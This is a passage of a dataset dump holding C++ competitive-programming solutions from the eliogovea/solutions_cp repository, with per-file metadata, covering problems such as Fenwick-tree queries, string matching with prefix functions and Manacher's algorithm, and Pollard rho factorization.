y;\r\n\tpt() {}\r\n\tpt(int a, int b) : x(a), y(b) {}\r\n};\r\n\r\nvector<pt> pts;\r\n\r\nint cross(pt &a, pt &b, pt &c) {\r\n\treturn (b.x - a.x) * (c.y - a.y) - (b.y - a.y) * (c.x - a.x);\r\n}\r\n\r\nint n, sol;\r\nstring s;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0); cout.tie(0);\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\tcin >> n;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> s;\r\n\t\tfor (int j = 0; j < n; j++)\r\n\t\t\tif (s[j] != '.') pts.push_back(pt(i, j));\r\n\t}\r\n\tint sz = pts.size();\r\n\tfor (int i = 0; i < sz; i++)\r\n\t\tfor (int j = 0; j < i; j++)\r\n\t\t\tfor (int k = 0; k < j; k++)\r\n\t\t\t\tsol += (cross(pts[i], pts[j], pts[k]) == 0);\r\n\tcout << sol << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.5119825601577759, "alphanum_fraction": 0.5795207023620605, "avg_line_length": 19.863636016845703, "blob_id": "78b6cd7731753782159e0b4376a74d55e4c031e8", "content_id": "04fcfb9b6fa318d27d2dc4ac622b4b3a3c1369ff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 459, "license_type": "no_license", "max_line_length": 146, "num_lines": 22, "path": "/Codeforces-Gym/100534 - 2014-2015 CT S02E10: Codeforces Trainings Season 2 Episode 10 - 2014 Amirkabir University of Technology Annual Programming Contest (AUT APC 14)/A.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 CT S02E10: Codeforces Trainings Season 2 Episode 10 - 2014 Amirkabir University of Technology Annual Programming Contest (AUT APC 14)\n// 100534A\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nlong long n;\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n cin >> n;\n long long sum = 0;\n long long cur = 3;\n int ans = 0;\n while (sum + cur <= n) {\n ans++;\n sum += cur++;\n }\n cout << ans << \"\\n\";\n}\n" }, { "alpha_fraction": 0.3951219618320465, "alphanum_fraction": 0.421138197183609, "avg_line_length": 15.083333015441895, "blob_id": "22fa7bd46cf0afaed2b6d65cd98c0902f88d1a60", "content_id": "f308090613ba1d9d71583b68ea637783cdf730f3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 615, "license_type": "no_license", "max_line_length": 54, "num_lines": 36, "path": "/COJ/eliogovea-cojAC/eliogovea-p3390-Accepted-s1054701.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 100 * 1000 + 5;\r\n\r\nint n;\r\nint s[N];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tcin >> n;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> s[i];\r\n\t}\r\n\tint mn;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tint cnt = s[i] / (n + 1);\r\n\t\tif (i == 0 || cnt < mn) {\r\n\t\t\tmn = cnt;\r\n\t\t}\r\n\t}\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\ts[i] -= mn * (n + 1);\r\n\t}\r\n\tsort(s, s + n);\r\n\tbool second = false;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tif (s[i] <= i) { // el primer jugador no puede jugar\r\n\t\t\tsecond = true;\r\n\t\t}\r\n\t}\r\n\tcout << (second ? \"S\" : \"N\") << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.38619402050971985, "alphanum_fraction": 0.41417911648750305, "avg_line_length": 14.242424011230469, "blob_id": "0d8245747838650f376a10b04ffb4d2d80081db3", "content_id": "afbe2932f9b00947c2e62fe52c72b8f540ff9201", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 536, "license_type": "no_license", "max_line_length": 49, "num_lines": 33, "path": "/COJ/eliogovea-cojAC/eliogovea-p2649-Accepted-s617752.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nconst ll mod = 1000003;\r\n\r\nll exp(ll a, ll b) {\r\n ll r = 1ll;\r\n while (b) {\r\n if (b & 1ll) r = (r * a) % mod;\r\n a = (a * a) % mod;\r\n b >>= 1ll;\r\n }\r\n return r;\r\n}\r\n\r\nll solve(int n) {\r\n ll x = (exp(4ll, n + 1ll) - 1ll + mod) % mod;\r\n ll y = exp(3ll, mod - 2ll);\r\n return (x * y) % mod;\r\n}\r\n\r\nint tc;\r\nll n;\r\n\r\nint main() {\r\n cin >> tc;\r\n while (tc--) {\r\n cin >> n;\r\n cout << solve(n) << endl;\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.3515111804008484, "alphanum_fraction": 0.3725361227989197, "avg_line_length": 19.13888931274414, "blob_id": "0be6e59e3e836090144c6c833fad89b94973d2c6", "content_id": "500a5619877ec71bf7cbccdc89e6abbb40a1654f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1522, "license_type": "no_license", "max_line_length": 82, "num_lines": 72, "path": "/COJ/eliogovea-cojAC/eliogovea-p3166-Accepted-s1018901.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nvector <int> prefixFunction(const string &s) {\r\n\tint n = s.size();\r\n\tvector <int> pi(n, 0);\r\n\tfor (int i = 1, j = 0; i < n; i++) {\r\n\t\twhile (j > 0 && s[i] != s[j]) {\r\n\t\t\tj = pi[j - 1];\r\n\t\t}\r\n\t\tif (s[i] == s[j]) {\r\n\t\t\tj++;\r\n\t\t}\r\n\t\tpi[i] = j;\r\n\t}\r\n\treturn pi;\r\n}\r\n\r\nvector <int> manacher(const string &s) {\r\n\tint n = 2 * s.size();\r\n vector <int> u(n, 0);\r\n for (int i = 0, j = 0, k; i < n; i += k, j = max(j - k, 0)) {\r\n while (i >= j && i + j + 1 < n && s[(i - j) >> 1] == s[(i + j + 1) >> 1]) ++j;\r\n for (u[i] = j, k = 1; i >= k && u[i] >= k && u[i - k] != u[i] - k; ++k) {\r\n u[i + k] = min(u[i - k], u[i] - k);\r\n }\r\n }\r\n return u;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tstring a, b;\r\n\tcin >> a >> b;\r\n\tvector <int> c = manacher(a);\r\n\tvector <int> pi = prefixFunction(a);\r\n\tvector <long long> sum(a.size() + 1, 0);\r\n\tfor (int i = 0, j = 0; i < b.size(); i++) {\r\n\t\twhile (j > 0 && b[i] != a[j]) {\r\n\t\t\tj = pi[j - 1];\r\n\t\t}\r\n\t\tif (b[i] == a[j]) {\r\n\t\t\tj++;\r\n\t\t}\r\n\t\tsum[j]++;\r\n\t}\r\n\tfor (int i = ((int)b.size()) - 1, j = 0; i >= 0; i--) {\r\n\t\twhile (j > 0 && b[i] != a[j]) {\r\n\t\t\tj = pi[j - 1];\r\n\t\t}\r\n\t\tif (b[i] == a[j]) {\r\n\t\t\tj++;\r\n\t\t}\r\n\t\tsum[j]++;\r\n\t}\r\n\tfor (int i = a.size(); i > 0; i--) {\r\n\t\tsum[pi[i - 1]] += sum[i];\r\n\t}\r\n\tfor (int i = 1; i <= a.size(); i++) {\r\n\t\tif (c[i - 1] == i) {\r\n\t\t\tcout << (sum[i] >> 1LL);\r\n\t\t} else {\r\n\t\t\tcout << sum[i];\r\n\t\t}\r\n\t\tif (i < a.size()) {\r\n cout << \" \";\r\n\t\t}\r\n\t}\r\n\tcout << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3836633563041687, "alphanum_fraction": 0.4108910858631134, "avg_line_length": 14.15999984741211, "blob_id": "2cf936cf1404df05e1b881ec0601a92d6ddef4f1", "content_id": "3ade1fa06eb22adc177918d0f28605916a0de5d4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 404, "license_type": "no_license", "max_line_length": 47, "num_lines": 25, "path": "/COJ/eliogovea-cojAC/eliogovea-p2570-Accepted-s497458.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cstring>\r\n\r\nchar a[7];\r\n\r\nbool e(char x[])\r\n{\r\n int l=strlen(x);\r\n for(int i=0,j=l-1; i<j; i++,j--)\r\n {\r\n if((x[i]-'0')<(x[j]-'0'))return 1;\r\n else if((x[i]-'0')>(x[j]-'0'))return 0;\r\n }\r\n return 0;\r\n}\r\n\r\nint main()\r\n{\r\n while(scanf(\"%s\",&a)!=EOF)\r\n {\r\n if(e(a))printf(\"YES\\n\");\r\n else printf(\"NO\\n\");\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.36479127407073975, "alphanum_fraction": 0.4137931168079376, "avg_line_length": 14.20588207244873, "blob_id": "3f9ad2f9aba140fbcd07c407e6686c106ddc614d", "content_id": "8201402d75c2f7b54f2d630d81f02c87cf1cd8d4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 551, "license_type": "no_license", "max_line_length": 34, "num_lines": 34, "path": "/COJ/eliogovea-cojAC/eliogovea-p3313-Accepted-s815662.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nint t, n;\r\nint cnt[1005];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tfor (int i = 1; i <= 1000; i++) {\r\n\t\tfor (int j = 1; j <= i; j++) {\r\n\t\t\tif (i * i + j * j > 1000000) {\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\tint c2 = i * i + j * j;\r\n\t\t\tdouble cd = sqrt(c2);\r\n\t\t\tint c = cd;\r\n\t\t\tif (c * c == c2) {\r\n\t\t\t\tcnt[c]++;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tfor (int i = 1; i <= 1000; i++) {\r\n\t\tcnt[i] += cnt[i - 1];\r\n\t}\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> n;\r\n\t\tcout << cnt[n] << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3505830764770508, "alphanum_fraction": 0.37536442279815674, "avg_line_length": 23.407407760620117, "blob_id": "3f41991d28527aee03bf2025bb2b9fa958b4c98e", "content_id": "3500bdd9513b076b58b245ded00535e962fd1929", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1372, "license_type": "no_license", "max_line_length": 78, "num_lines": 54, "path": "/COJ/eliogovea-cojAC/eliogovea-p2809-Accepted-s670899.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "//============================================================================\r\n// Name : 2809.cpp\r\n// Author : eliogovea\r\n// Version :\r\n// Copyright : \r\n// Description : Hello World in C++, Ansi-style\r\n//============================================================================\r\n\r\n#include <iostream>\r\n#include <fstream>\r\n\r\nusing namespace std;\r\n\r\nint n, c;\r\nstring w[10];\r\nint let[30]['Z' + 5], aux['Z' + 5], dp[30][1 << 9];\r\n\r\ninline bool check(int mask, int col) {\r\n\tfor (int i = 'A'; i <= 'Z'; i++) aux[i] = 0;\r\n\tfor (int i = 0; i < n; i++)\r\n\t\tif (mask & (1 << i))\r\n\t\t\tfor (int j = 0; w[i][j]; j++)\r\n\t\t\t\taux[w[i][j]]++;\r\n\tfor (int i = 'A'; i <= 'Z'; i++)\r\n\t\tif (aux[i] > let[col][i]) return false;\r\n\treturn true;\r\n}\r\n\r\nint main() {\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0); cout.tie(0);\r\n\tcin >> n >> c;\r\n\tfor (int i = 0; i < n; i++) cin >> w[i];\r\n\tfor (int i = 1; i <= c; i++)\r\n\t\tfor (int j = 'A'; j <= 'Z'; j++)\r\n\t\t\tcin >> let[i][j];\r\n\tfor (int i = 0; i <= c; i++)\r\n\t\tdp[i][0] = true;\r\n\r\n\tfor (int i = 0; i < c; i++)\r\n\t\tfor (int j = 0; j < (1 << n); j++)\r\n\t\t\t\tif (dp[i][j])\r\n\t\t\t\t\tfor (int k = 0; k < (1 << n); k++) {\r\n\t\t\t\t\t\tif (dp[i + 1][j | k]) continue;\r\n\t\t\t\t\t\tif (check(k, i + 1))\r\n\t\t\t\t\t\t\tdp[i + 1][j | k] = true;\r\n\t\t\t\t\t}\r\n\t\t\t\t\t\t\r\n\r\n\tif (dp[c][(1 << n) - 1]) cout << \"YES\\n\";\r\n\telse cout << \"NO\\n\";\r\n\r\n}\r\n" }, { "alpha_fraction": 0.3286467492580414, "alphanum_fraction": 0.35325130820274353, "avg_line_length": 19.884614944458008, "blob_id": "3d96e32bc991600c0445105a270001404a1e2b9b", "content_id": "dfc9664b3f5025a56eba2954c1ee7c568733f4ce", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 569, "license_type": "no_license", "max_line_length": 55, "num_lines": 26, "path": "/COJ/eliogovea-cojAC/eliogovea-p2887-Accepted-s617430.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "/// GCD\r\n\r\n#include <cstdio>\r\n#include <cmath>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nconst int MAXN = 100005;\r\n\r\nint n, a[MAXN], sol;\r\n\r\nint main() {\r\n while (scanf(\"%d\", &n) && n) {\r\n for (int i = 0; i < n; i++) scanf(\"%d\", &a[i]);\r\n for (int i = 1; i <= 100; i++) {\r\n int g = a[0];\r\n for (int j = 0; j < n; j++) {\r\n g = __gcd(g, a[j]);\r\n if (g % i) g = a[j];\r\n if (g == i) {sol++; break;}\r\n }\r\n }\r\n printf(\"%d\\n\", sol);\r\n sol = 0;\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.36612021923065186, "alphanum_fraction": 0.3688524663448334, "avg_line_length": 24.14285659790039, "blob_id": "8fc3436f3833f2b912e38b0d944e8a1034484090", "content_id": "74aaa1c9b968bfe0d0b45da54e998719d6e230f0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 366, "license_type": "no_license", "max_line_length": 55, "num_lines": 14, "path": "/COJ/eliogovea-cojAC/eliogovea-p2521-Accepted-s474451.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\nusing namespace std;\r\n\r\nchar a,b,c;\r\n\r\nint main(){\r\n while(cin >> a >> b >> c){\r\n if(a==b && a!=c)cout << \"C\" << endl;\r\n else if(a==c && a!=b)cout << \"B\" << endl;\r\n else if(b==c && b!=a)cout << \"A\" << endl;\r\n else if(a==b && b==c)cout << \"*\" << endl;\r\n }\r\n return 0;\r\n }\r\n" }, { "alpha_fraction": 0.31128403544425964, "alphanum_fraction": 0.34241244196891785, "avg_line_length": 16.35714340209961, "blob_id": "9d2dad0eaf73b684f4b5d658f437fe537d86f227", "content_id": "5852758b110539e219961a02f13a05391b6e7852", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 257, "license_type": "no_license", "max_line_length": 47, "num_lines": 14, "path": "/COJ/eliogovea-cojAC/eliogovea-p1381-Accepted-s471348.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n\r\nint n;\r\nfloat d,v1,v2,f,s;\r\n\r\nint main(){\r\n scanf(\"%d\",&n);\r\n while(n--){\r\n scanf(\"%f%f%f%f\",&d,&v1,&v2,&f);\r\n s=f*d/(v1+v2);\r\n printf(\"%.2f\\n\",s);\r\n }\r\n return 0;\r\n }\r\n" }, { "alpha_fraction": 0.44880494475364685, "alphanum_fraction": 0.4898200035095215, "avg_line_length": 22.05442237854004, "blob_id": "bb8fd7129f60809dba8ceccbd0b3707c2d684125", "content_id": "4d964b7864bc3009472c99267c9b4ca7e83fbce7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3389, "license_type": "no_license", "max_line_length": 79, "num_lines": 147, "path": "/SPOJ/FACT0.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n \nusing namespace std;\n \nnamespace NumberTheory {\n\tusing LL = long long;\n \n\tinline LL mul(LL a, LL b, LL m) {\n\t\t// return (__int128)a * b % m;\n\t\t// a %= m; b %= m;\n\t\tif (m <= 2e9) return a * b % m;\n\t\tLL q = (long double)a * b / m;\n\t\tLL r = a * b - q * m; r %= m;\n\t\tif (r < 0) r += m;\n\t\treturn r;\n\t} // to avoid overflow, m < 1e18\n \n\tinline LL power(LL x, LL n, LL m) {\n\t\tLL y = 1 % n; if (y == 0) return 0;\n\t\tx %= m; \n\t\twhile (n > 0) {\n\t\t\tif (n & 1) y = mul(y, x, m);\n\t\t\tx = mul(x, x, m);\n\t\t\tn >>= 1;\n\t\t}\n\t\treturn y;\n\t}\n \n\tbool ready = false;\n\tconst int P = 1000 * 1000; \n\tbool _isPrime[P]; vector <int> primes;\n \n\tinline bool fastSieve() { // O(n)\n\t\tfor (int i = 0; i < P; i++) \n\t\t\t_isPrime[i] = true;\n\t\t_isPrime[0] = _isPrime[1] = false;\n\t\tprimes.reserve(P); //\n\t\tfor (int i = 2; i < P; i++) {\n\t\t\tif (_isPrime[i]) primes.push_back(i);\n\t\t\tfor (int j = 0; j < primes.size() && primes[j] * i < P; j++) {\n\t\t\t\t_isPrime[primes[j] * i] = false;\n\t\t\t\tif (i % primes[j] == 0) break;\n\t\t\t}\n\t\t}\n\t}\n \n\t// Miller Rabin primality test !!!\n\tinline bool witness(LL x, LL n, LL s, LL d) {\n\t\tLL cur = power(x, d, n);\n\t\tif (cur == 1) return false;\n\t\tfor (int r = 0; r < s; r++) {\n\t\t\tif (cur == n - 1) return false;\n\t\t\tcur = mul(cur, cur, n);\n\t\t}\n\t\treturn true;\n\t}\n \n\tbool isPrime(long long n) { \n\t\tif (!ready) fastSieve(), ready = true;\n\t\tif (n < P) return _isPrime[n];\n\t\tif (n < 2) return false;\n\t\tfor (int x : {2, 3, 5, 7, 11, 13, 17, 19, 23, 29}) {\n\t\t\tif (n == x) return true;\n\t\t\tif (n % x == 0) return false;\n\t\t}\n\t\tif (n < 31 * 31) return true;\n\t\tint s = 0; LL d = n - 1;\n\t\twhile (!(d & 1)) s++, d >>= 1;\n\t\t// for n int: test = {2, 7, 61}\n\t\t// for n < 3e18: test = {2, 3, 5, 7, 11, 13, 17, 19, 23}\n\t\tstatic vector <LL> test = {2, 325, 9375, 28178, 450775, 9780504, 1795265022};\n\t\tfor (long long x : test) {\n\t\t\tif (x % n == 0) return true;\n\t\t\tif (witness(x, n, s, d)) return false;\n\t\t}\n//\t\tfor (auto p : primes) { // slow for testing\n//\t\t\tif ((long long)p * p > n) break;\n//\t\t\tif (n % p == 0) return false;\n//\t\t}\n\t\treturn true;\n\t} // ends Miller Rabin primality test !!!\n \n\t// Pollard Rho factorization\n\tvoid rho(LL n, LL c, vector <LL> & factors) {\n\t\tif (n == 1) return;\n\t\tif (isPrime(n)) {\n\t\t\tfactors.push_back(n);\n\t\t\treturn;\n\t\t}\n\t\tif (!(n & 1)) {\n\t\t\tfactors.push_back(2);\n\t\t\trho(n / 2, c, factors);\n\t\t\treturn;\n\t\t}\n\t\tLL x = 2, s = 2, p = 1, l = 1;\n\t\tfunction <LL(LL)> f = [&c, &n] (LL x) {\n\t\t\treturn (LL)(((__int128)x * x + c) % n);\n\t\t};\n\t\twhile (true) {\n\t\t\tx = f(x);\n\t\t\tLL g = __gcd(abs(x - s), n);\n\t\t\tif (g != 1) {\n\t\t\t\trho(g, c + 1, factors);\n\t\t\t\trho(n / g, c + 1, factors);\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tif (p == l) s = x, p <<= 1, l = 0;\n\t\t\tl++;\n\t\t}\n\t}\n\tvector <pair <LL, int>> factorize(LL n) {\n\t\tvector <LL> p; rho(n, 1, p);\n\t\tsort(p.begin(), p.end());\n\t\tvector <pair <LL, int>> f;\n\t\tfor (int i = 0, j = 0; i < p.size(); i = j) {\n\t\t\twhile (j < p.size() && p[i] == p[j]) j++;\n\t\t\tf.emplace_back(p[i], j - i);\n\t\t}\n\t\treturn f;\n\t} // ends pollar rho factorization\n \n\tvoid init() {fastSieve(); ready = true;}\n}\n \nusing namespace NumberTheory;\n \nvoid testFactorize() {\n\tLL n;\n\tvector <pair <LL, int> > f;\n\twhile (cin >> n && n) {\n\t\tf = factorize(n);\n\t\tfor (int i = 0; i < f.size(); i++) {\n\t\t\tcout << f[i].first << \"^\" << f[i].second;\n\t\t\tif (i + 1 < f.size()) {\n\t\t\t\tcout << \" \";\n\t\t\t}\n\t\t}\n\t\tcout << \"\\n\";\n\t}\n}\n \nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n \n\ttestFactorize();\n}\n" }, { "alpha_fraction": 0.4144144058227539, "alphanum_fraction": 0.4354354441165924, "avg_line_length": 17.211538314819336, "blob_id": "dee23ec5383ccd129b70a90d272ea9ab848ab285", "content_id": "a80ac47a80d1ef7ef607c760410cafc8d61eec6b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 999, "license_type": "no_license", "max_line_length": 78, "num_lines": 52, "path": "/COJ/eliogovea-cojAC/eliogovea-p3745-Accepted-s1009566.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 1200;\r\n\r\nint bit[N][N];\r\n\r\ninline void update(int x, int y, int n, int v) {\r\n\tfor (int xx = x; xx <= n; xx += xx & -xx) {\r\n\t\tfor (int yy = y; yy <= n; yy += yy & -yy) {\r\n\t\t\tbit[xx][yy] += v;\r\n\t\t}\r\n\t}\r\n}\r\n\r\ninline int query(int x, int y) {\r\n\tint res = 0;\r\n\tfor (int xx = x; xx > 0; xx -= xx & -xx) {\r\n\t\tfor (int yy = y; yy > 0; yy -= yy & -yy) {\r\n\t\t\tres += bit[xx][yy];\r\n\t\t}\r\n\t}\r\n\treturn res;\r\n}\r\n\r\ninline int query(int l, int b, int r, int t) {\r\n\treturn query(r, t) - query(r, b - 1) - query(l - 1, t) + query(l - 1, b - 1);\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tint n;\r\n\tcin >> n >> n;\r\n\tint type;\r\n\twhile (true) {\r\n\t\tcin >> type;\r\n\t\tif (type == 3) {\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tif (type == 1) {\r\n\t\t\tint x, y, a;\r\n\t\t\tcin >> x >> y >> a;\r\n\t\t\tupdate(x + 1, y + 1, n, a);\r\n\t\t} else if (type == 2) {\r\n\t\t\tint l, b, r, t;\r\n\t\t\tcin >> l >> b >> r >> t;\r\n\t\t\tcout << query(l + 1, b + 1, r + 1, t + 1) << \"\\n\";\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.2681017518043518, "alphanum_fraction": 0.2866927683353424, "avg_line_length": 17.581817626953125, "blob_id": "5c75199c5b17c1a49aa3dbb3fe9e4514f0d834bc", "content_id": "c44e86cdfd1bed913e13c126c0999131ea20d837", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1022, "license_type": "no_license", "max_line_length": 57, "num_lines": 55, "path": "/Codeforces-Gym/101047 - 2015 USP Try-outs/M.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2015 USP Try-outs\n// 101047M\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\n\tint tc; cin >> tc;\n\n\twhile( tc-- ){\n int n; cin >> n;\n string s; cin >> s;\n\n int ini = -1;\n\n vector<int> sol;\n\n for( int i = 0; i < n; i++ ){\n if( s[i] == 'D' ){\n int j = i;\n\n if( i+1 < s.size() ){\n s[i+1] = (s[i+1] == 'B' ? 'D' : 'B');\n }\n\n while( j > ini ){\n sol.push_back(j);\n j--;\n }\n\n ini = i;\n }\n }\n\n if( sol.size() != n ){\n cout << \"N\\n\";\n }\n else{\n cout << \"Y\\n\";\n for( int i = 0; i < sol.size(); i++ ){\n if( i > 0 ){\n cout << ' ';\n }\n cout << sol[i]+1;\n }\n cout << '\\n';\n }\n\t}\n}\n" }, { "alpha_fraction": 0.40452754497528076, "alphanum_fraction": 0.4340551197528839, "avg_line_length": 16.517240524291992, "blob_id": "be4e1e92a22179a44d5f653223eca22e505a22a1", "content_id": "b0f3d3776d3a4ed500fb2ba1a95de8abf48ad85e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1016, "license_type": "no_license", "max_line_length": 76, "num_lines": 58, "path": "/Codeforces-Gym/100803 - 2014-2015 ACM-ICPC, Asia Tokyo Regional Contest/C.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 ACM-ICPC, Asia Tokyo Regional Contest\n// 100803C\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long ll;\ntypedef pair<int,int> par;\n\nconst int MAXN = 3000;\n\npar qs[MAXN];\npar ok[MAXN];\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int n,m; cin >> n >> m;\n\n for( int i = 0; i < m; i++ ){\n cin >> qs[i].first >> qs[i].second;\n }\n\n sort( qs , qs + m );\n\n int sz = 0;\n\n int l = qs[0].first , r = qs[0].second;\n\n for( int i = 1; i < m; i++ ){\n if( qs[i].first <= r ){\n r = max( r, qs[i].second );\n }\n else{\n ok[sz++] = par( l , r );\n l = qs[i].first;\n r = qs[i].second;\n }\n }\n\n ok[sz++] = par( l , r );\n\n int outp = 0;\n int ini = 0;\n\n for( int i = 0; i < sz; i++ ){\n outp += ( ok[i].first - ini ) + ( ok[i].second - ok[i].first ) * 3;\n ini = ok[i].second;\n }\n\n outp += (n+1) - ini;\n\n cout << outp << '\\n';\n}\n" }, { "alpha_fraction": 0.41941505670547485, "alphanum_fraction": 0.44772869348526, "avg_line_length": 18.87013053894043, "blob_id": "a1094c888c1768fa942b07cbecedaac99bc1ab1b", "content_id": "6287d99fe7531f74e86150b5669749d8c2c336bf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3214, "license_type": "no_license", "max_line_length": 82, "num_lines": 154, "path": "/COJ/eliogovea-cojAC/eliogovea-p3636-Accepted-s1009516.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nstruct data {\r\n\tint n;\r\n\tvector <int> values;\r\n\tvector <int> bit;\r\n\tdata() {}\r\n\tdata(vector <int> &_values) {\r\n\t\tn = _values.size();\r\n\t\tvalues = _values;\r\n\t\tbit = vector <int> (n + 1, 0);\r\n\t}\r\n\tint getPos(int x) {\r\n\t\tint pos = lower_bound(values.begin(), values.end(), x) - values.begin();\r\n\t\tif (pos == (int)values.size()) {\r\n\t\t\treturn pos;\r\n\t\t}\r\n\t\tif (values[pos] == x) {\r\n\t\t\treturn pos + 1;\r\n\t\t}\r\n\t\treturn pos;\r\n\t}\r\n\tvoid bitUpdate(int p, int v) {\r\n\t\twhile (p <= n) {\r\n\t\t\tbit[p] += v;\r\n\t\t\tp += p & -p;\r\n\t\t}\r\n\t}\r\n\tint bitQuery(int p) {\r\n\t\tint res = 0;\r\n\t\twhile (p > 0) {\r\n\t\t\tres += bit[p];\r\n\t\t\tp -= p & -p;\r\n\t\t}\r\n\t\treturn res;\r\n\t}\r\n\tvoid update(int x, int v) {\r\n\t\tx = getPos(x);\r\n\t\tbitUpdate(x, v);\r\n\t}\r\n\tint query(int x) {\r\n\t\tx = getPos(x);\r\n\t\treturn bitQuery(x);\r\n\t}\r\n};\r\n\r\ndata operator + (const data &a, const data &b) {\r\n\tdata res;\r\n\tres.values.resize(a.n + b.n);\r\n\tint pa = 0;\r\n\tint pb = 0;\r\n\tint p = 0;\r\n\twhile (pa < a.n && pb < b.n) {\r\n\t\tif (a.values[pa] <= b.values[pb]) {\r\n\t\t\tres.values[p++] = a.values[pa++];\r\n\t\t} else {\r\n\t\t\tres.values[p++] = b.values[pb++];\r\n\t\t}\r\n\t}\r\n\twhile (pa < a.n) {\r\n\t\tres.values[p++] = a.values[pa++];\r\n\t}\r\n\twhile (pb < b.n) {\r\n\t\tres.values[p++] = b.values[pb++];\r\n\t}\r\n\tres.values.erase(unique(res.values.begin(), res.values.end()), res.values.end());\r\n\tres.n = res.values.size();\r\n\tres.bit = vector <int> (res.n + 1, 0);\r\n\treturn res;\r\n}\r\n\r\nconst int N = 600002;\r\n\r\ndata st[4 * N];\r\n\r\nint n, m;\r\nint bones[N];\r\nint q[5][2000002];\r\nvector <int> v[N];\r\n\r\nvoid build(int x, int l, int r) {\r\n\tif (l == r) {\r\n\t\tst[x] = data(v[l]);\r\n\t} else {\r\n\t\tint mid = (l + r) >> 1;\r\n\t\tbuild(2 * x, l, mid);\r\n\t\tbuild(2 * x + 1, mid + 1, r);\r\n\t\tst[x] = st[2 * x] + 